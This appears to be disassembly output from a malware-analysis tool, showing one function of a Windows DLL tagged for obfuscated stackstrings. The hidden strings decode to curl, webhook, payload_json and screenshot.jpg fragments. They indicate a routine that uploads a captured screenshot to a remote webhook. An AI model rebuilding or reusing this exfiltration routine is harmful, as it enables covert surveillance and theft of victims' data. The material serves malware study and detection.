Function at 0x18000f010
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov r12, rdx
mov rbx, rcx
call fcn.18004f030
mov rdi, rax
test rax, rax
jne 0x18000f086
movdqa xmm0, xmmword [0x1801fee30]
movdqu xmmword [rbp - 0xd], xmm0
mov dword [rbp + 3], 0x20676e69
mov dword [rbp + 7], 0x4c525543
mov word [rbp + 0xb], 0x2e
lea rdx, [rbp - 0xc]
lea rcx, [0x180230a70]
call fcn.180036f70
mov rcx, rax
call fcn.180037650
jmp 0x18000f331
movdqa xmm0, xmmword [0x1801fed10]
movdqu xmmword [rbp - 0xd], xmm0
movdqa xmm1, xmmword [0x1801fe330]
movdqu xmmword [rbp + 3], xmm1
mov dword [rbp + 0x13], 0x68626577
mov dword [rbp + 0x17], 0x6b6f6f
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
lea rax, [rbp - 0xc]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18000f0d0
lea rdx, [rbp - 0xc]
lea rcx, [rbp + 0x1f]
call fcn.18003a510
nop
movdqa xmm0, xmmword [0x1801fe3b0]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0x303938
lea rdx, [rbp - 0x28]
xor ecx, ecx
call fcn.18004f400
movdqa xmm0, xmmword [0x1801feb20]
movdqu xmmword [rbp - 0xd], xmm0
mov dword [rbp + 3], 0x41786553
mov dword [rbp + 7], 0x746e6567
mov byte [rbp + 0xb], 0
lea rdx, [rbp - 0xc]
mov rcx, rax
call fcn.18004f400
mov r14, rax
mov rcx, rdi
call fcn.18004de50
mov rsi, rax
mov rcx, rax
call fcn.18004d910
mov r15, rax
mov dword [rbp - 0x29], 0x79617029
mov dword [rbp - 0x25], 0x64616f6c
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x28]
mov rcx, rax
call fcn.18004def0
cmp qword [rbx + 0x18], 0xf
jbe 0x18000f173
mov rbx, qword [rbx]
mov r8, 0xffffffffffffffff
mov rdx, rbx
mov rcx, r15
call fcn.18004d9d0
mov dword [rbp - 0x29], 0x78657477
mov dword [rbp - 0x25], 0x6c702f74
mov dword [rbp - 0x21], 0x6e6961
lea rdx, [rbp - 0x28]
mov rcx, r15
call fcn.18004e040
mov rcx, rsi
call fcn.18004d910
mov rbx, rax
mov dword [rbp - 0x29], 0x7263731d
mov dword [rbp - 0x25], 0x736e6565
mov dword [rbp - 0x21], 0x746f68
lea rdx, [rbp - 0x28]
mov rcx, rax
call fcn.18004def0
movdqa xmm0, xmmword [str.Fscreenshot.jpg]
movdqu xmmword [rbp - 0x29], xmm0
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.18004dcd0
mov dword [rbp - 0x29], 0x616d6955
mov dword [rbp - 0x25], 0x6a2f6567
mov word [rbp - 0x21], 0x6770
mov byte [rbp - 0x1f], 0
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.18004e040
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
sub r8, rdx
mov rcx, rbx
call fcn.18004d9d0
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova r8, qword [rbp + 0x1f]
mov edx, 0x2712
mov rcx, rdi
call fcn.1800535a0
mov r8, r14
mov edx, 0x2727
mov rcx, rdi
call fcn.1800535a0
mov r8, rsi
mov edx, 0x281d
mov rcx, rdi
call fcn.1800535a0
mov rcx, rdi
call fcn.18004f0a0
mov r15d, eax
lea rdx, [rbp - 0x28]
test eax, eax
je 0x18000f2ab
mov dword [rbp - 0x29], 0x52554366
mov dword [rbp - 0x25], 0x7265204c
mov dword [rbp - 0x21], 0x3a726f72
mov word [rbp - 0x1d], 0x20
lea rcx, [0x180230a70]
call fcn.180036f70
mov rbx, rax
mov ecx, r15d
call fcn.18004fe60
mov rdx, rax
mov rcx, rbx
jmp 0x18000f2d4
movdqa xmm0, xmmword [0x1801fece0]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0x73656363
mov dword [rbp - 0x15], 0x6c756673
mov dword [rbp - 0x11], 0x2e796c
lea rcx, [0x1802308f0]
call fcn.180036f70
mov rcx, rax
call fcn.180037650
mov rcx, rsi
call fcn.18004dd50
mov rcx, r14
call fcn.18004f4a0
mov rcx, rdi
call fcn.18004efd0
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x18000f331
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000f32c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f352
call fcn.1800c17e8
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1800e1ef4
int3